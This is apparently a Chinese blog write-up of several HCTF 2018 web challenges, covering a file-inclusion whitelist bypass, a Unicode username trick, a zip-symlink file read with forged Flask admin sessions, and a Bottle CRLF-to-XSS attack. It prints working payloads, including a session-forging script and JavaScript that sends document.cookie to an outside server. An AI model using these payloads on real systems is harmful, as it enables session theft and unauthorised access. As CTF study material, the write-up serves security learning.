HCTF 2018 部分Web题解

Warmup

先看hint

image.png

看url有file参数,感觉可能要用伪协议啥的,试了下,没出东西
扫一下目录,发现http://warmup.2018.hctf.io/source.php源码文件
源码如下

<?php
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

看了下是文件包含,checkFile函数$_page取file参数第一个问号之前的字段检查文件名是否在白名单内于是构造file参数为hint.php?/../../../../../ffffllllaaaagggg

image.png

原理是hint.php?/被当作目录,之后上跳目录就好了(这个只适用于linux)
测试如下
image.png

admin

拿到题我是懵逼的,直到队友在忘记密码的html源码里找到了github链接


image.png

地址https://github.com/woadsl1234/hctf_flask/
下载下来可以看到是flask写的,用的sqlalchemy,以为有sql注入,找了下,没看见直接拼接的点,最后发现了奇怪的地方,app/routes.py文件中在注册中对用户名进行了strlower()函数的处理,重置密码和登陆也有

image.png

strlower()函数如下

image.png

这里的处理有点摸不着头脑,于是搜了下,发现nodeprep.prepare这个函数存在unicode安全问题
参考这个:https://paper.tuisec.win/detail/a9ad1440249d95b
注意到这里提到的问题,和本题情况一样
image.png

于是尝试注册ᴬdmin用户
image.png

之后去重置密码
image.png

登陆拿到flag
image.png

hide and seek

上来给了个zip上传,看session是用flask写的,猜是zip软链接的问题
这个之前看过,没有具体尝试,找了个文章看看
参考:https://xz.aliyun.com/t/2589
照着试了下

image.png

之后上传,成功读到/etc/passwd文件,是这个点没错了
image.png

之后去读取环境变量/proc/self/environ结果如下

UWSGI_ORIGINAL_PROC_NAME=/usr/local/bin/uwsgi
SUPERVISOR_GROUP_NAME=uwsgi
HOSTNAME=159593146cad
SHLVL=0
PYTHON_PIP_VERSION=18.1
HOME=/root
GPG_KEY=0D96DF4D4110E5C43FBFB17F2D347EA6AA65421D
UWSGI_INI=/app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.ini
NGINX_MAX_UPLOAD=0
UWSGI_PROCESSES=16
STATIC_URL=/static
UWSGI_CHEAPER=2
NGINX_VERSION=1.13.12-1~stretch
PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
NJS_VERSION=1.13.12.0.2.0-1~stretch
LANG=C.UTF-8
SUPERVISOR_ENABLED=1
PYTHON_VERSION=3.6.6
NGINX_WORKER_PROCESSES=auto
SUPERVISOR_SERVER_URL=unix:///var/run/supervisor.sock
SUPERVISOR_PROCESS_NAME=uwsgi
LISTEN_PORT=80
STATIC_INDEX=0
PWD=/app/hard_t0_guess_n9f5a95b5ku9fg
STATIC_PATH=/app/static
PYTHONPATH=/app
UWSGI_RELOADS=0

注意到配置文件UWSGI_INI=/app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.ini
读取结果是

[uwsgi]
module = hard_t0_guess_n9f5a95b5ku9fg.hard_t0_guess_also_df45v48ytj9_main
callable=app

可见main模块,读取一下
/app/hard_t0_guess_n9f5a95b5ku9fg.hard_t0_guess_also_df45v48ytj9_main.py

# -*- coding: utf-8 -*-
from flask import Flask,session,render_template,redirect, url_for, escape, request,Response
import uuid
import base64
import random
import flag
from werkzeug.utils import secure_filename
import os
random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['zip'])

def allowed_file(filename):
    return '.' in filename and \
           filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS


@app.route('/', methods=['GET'])
def index():
    error = request.args.get('error', '')
    if(error == '1'):
        session.pop('username', None)
        return render_template('index.html', forbidden=1)

    if 'username' in session:
        return render_template('index.html', user=session['username'], flag=flag.flag)
    else:
        return render_template('index.html')


@app.route('/login', methods=['POST'])
def login():
    username=request.form['username']
    password=request.form['password']
    if request.method == 'POST' and username != '' and password != '':
        if(username == 'admin'):
            return redirect(url_for('index',error=1))
        session['username'] = username
    return redirect(url_for('index'))


@app.route('/logout', methods=['GET'])
def logout():
    session.pop('username', None)
    return redirect(url_for('index'))

@app.route('/upload', methods=['POST'])
def upload_file():
    if 'the_file' not in request.files:
        return redirect(url_for('index'))
    file = request.files['the_file']
    if file.filename == '':
        return redirect(url_for('index'))
    if file and allowed_file(file.filename):
        filename = secure_filename(file.filename)
        file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
        if(os.path.exists(file_save_path)):
            return 'This file already exists'
        file.save(file_save_path)
    else:
        return 'This file is not a zipfile'


    try:
        extract_path = file_save_path + '_'
        os.system('unzip -n ' + file_save_path + ' -d '+ extract_path)
        read_obj = os.popen('cat ' + extract_path + '/*')
        file = read_obj.read()
        read_obj.close()
        os.system('rm -rf ' + extract_path)
    except Exception as e:
        file = None

    os.remove(file_save_path)
    if(file != None):
        if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1):
            return redirect(url_for('index', error=1))
    return Response(file)


if __name__ == '__main__':
    #app.run(debug=True)
    app.run(host='127.0.0.1', debug=True, port=10008)

尝试去读取flag.py,提示要admin权限,于是看下源码
注意到SECRET_KEY生成的使用的随机数,但却指定了seed

image.png

查了下用作seed的uuid.getnode()是pc的mac地址,也就是一定的,于是可以构造session,按照linux下一切皆文件,mac地址一定也是存在哪个文件里了,搜了下,发现在/sys/class/net/eth0/address
读了下结果是12:34:3e:14:7c:62
然后就是确定SECRET_KEY11.935137566861131

image.png

注意这里要看下之前读取的环境变量,其中python版本PYTHON_VERSION=3.6.6
在py2和py3中取到的精度是不一样的,还有python要使用linux的,win的没尝试,但可能也不一样,py2生成的如下

image.png

之后就是构造admin的session了,代码如下

# -*- coding: utf-8 -*-
__author__ = 'gakki429'

import hmac
from hashlib import sha1
from itsdangerous import *

def session_serializer(secret_key):
    signer_kwargs = dict(
        key_derivation='hmac',
        digest_method=sha1
    )
    Serializer = URLSafeTimedSerializer(secret_key, salt='cookie-session',
                                  signer_kwargs=signer_kwargs)
    data = {'username': 'admin'}
    return Serializer.dumps(data)

if __name__ == '__main__':
    secret_key = '11.935137566861131'
    print session_serializer(secret_key)
image.png

之后curl一下


image.png

bottle

拿到题目,看了下cookie,有bottle.session键值

image.png

估计是个框架什么的,就搜了下有什么洞
发现了p神的文章,是CRLF的洞
https://www.leavesongs.com/PENETRATION/bottle-crlf-cve-2016-9964.html
本题只有一个输入框
image.png

看到这个captcha,为了省事,我本地干脆生成了0-10000的md5值
之后正则搜一下就行,由于是从0开始,要把行号的值减一,没找到刷新换个验证码就是

image.png

之后提交一下url的值,没发现什么东西。。。,直到我填了个错误的验证码值,发现了新的请求,可以看见path就是Location的值
image.png

这里可能就是CRLF的利用点了,测了下发现他只对站内的url有反应,其他都报错
image.png

尝试CRLF,发现可以成功,注意添加Content-Length的http头,否则不返回body
image.png

但是放到浏览器里就不行了,考虑得到curl默认不进行302跳转,加上-L跟随一下
image.png

看了下详情发现了问题,提示Ignoring the response-body,于是想办法阻止这个跳转,搜了下,找到了这个http://www.tiaozhanziwo.com/archives/683.html
image.png

火狐中可以用错误端口阻止跳转,题目也提示了hint2: bot use firefoxDriver,应该就是这个了,试了下8888端口,没有响应,试了下火狐里也不行,开始懵逼。。
image.png

后面又尝试了其他方法,都不行,突然想起来可能需要是个开放的端口才行,于是去试了下22端口,nice,成功了
image.png

题目提示使用bot,应该是xss,于是试了下,本地可以打到cookie了

http://bottle.2018.hctf.io/path?path=http://bottle.2018.hctf.io:22/user%0d%0aContent-Length:49%0d%0a%0d%0a<script%20src%3dhttp://119.23.63.213/xss.js></script>
image.png

xss.js内容vps.ip是你的vps的ip值

var img = document.createElement("img");
img.src = "http://vps.ip/?cookie=" + encodeURI(document.cookie);
document.body.appendChild(img);

提交给bot,看一下日志,成功打到cookie


image.png

curl一下,得到flag


image.png

这题是有csp的,但有时后会被放到body中,有时候依旧在header,由于开始可能bot有问题,没有csp的时候也没打到cookie,我开始以为是有什么问题,还跑去问出题人来着,结果这个是预期内,我就开始想着绕过csp,尝试了一些http头的覆盖,没有成功,后来想了下可以用CRLF构建一个页面,把js放在里面,之后script引用这个,但是试了半天也没能成功,太菜了,最后实力错过了一血。。。(留下了没有技术的眼泪)

总结

这次一共做了5个web,其他没怎么看,kzone是队友做的,最后32名,感谢杭电师傅们出的题,师傅们辛苦了


image.png
顺便问一下,有大佬战队要菜鸡web吗(想和大师傅们一起学习)

推荐阅读更多精彩内容